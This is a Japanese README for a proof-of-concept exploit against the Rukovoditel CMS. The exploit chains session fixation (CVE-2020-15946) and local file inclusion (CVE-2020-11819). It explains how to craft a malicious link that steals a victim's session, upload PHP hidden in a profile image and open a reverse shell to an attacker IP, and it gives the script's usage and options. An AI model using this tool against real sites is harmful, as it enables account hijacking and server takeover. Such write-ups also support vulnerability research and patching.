
CVE-2020-11819 および CVE-2020-15946 の概念実証
CVE-2020-11819 および CVE-2020-15946 の概念実証です。Rukovoditel 2.4.x、2.5.x、2.6.1 でテスト済みです。
このエクスプロイトには 2 つの実行モードがあります。セッション固定化の脆弱性 (CVE-2020-15946) を利用する方法と、任意のプロファイルの任意のアカウントのアクセス認証情報を利用する方法です。 --type L オプションを使用すると、このスクリプトは悪意のあるリンクを作成します。被害者がブラウザでそのリンクにアクセスすると、任意のセッション ID が設定され、写真プロフィールに PHP コンテンツを含む画像をアップロードした後にセッションを盗むために使用されます。その後、ローカルファイルインクルード (CVE-2020-11819) を使用してリバースシェルを取得できます。また、--type C -u -p オプションを使用すると、認証情報を提供し、PHP コンテンツを含む画像を読み込み、ローカルファイルインクルード (CVE-2020-11819) を使用してコード実行を達成できます。
プロのヒント: 登録モジュールが有効かどうかを忘れずに確認してください ;)
exploit.py -t -a L --ip attacker IP --port attacker port [options] exploit.py -t -a C -u -p --ip attacker IP --port attacker port [options]
rukovoditel 向けの認証後 RCE、スクリプトバージョン 1.0
オプション引数:
-h, --help このヘルプメッセージを表示して終了します
-t URL, --target URL CMS Rukovoditel の URL/フルパス http://url/path/to/cms/
-u USER, --user USER 認証用のユーザー名
-p PASSWORD, --password PASSWORD 認証用のパスワード
-a TYPE, --type TYPE -a L を使用してリンクを生成しセッションを盗むか、Web アプリケーションへのアクセス認証情報がある場合は -a C を使用します
--ip IP_ATTACKER リバースシェル用の攻撃者 IP!
--port PORT_ATTACKER リバースシェル接続用のポート
--proxy PROXY デバッグ用の HTTP プロキシを設定します http://127.0.0.1:8080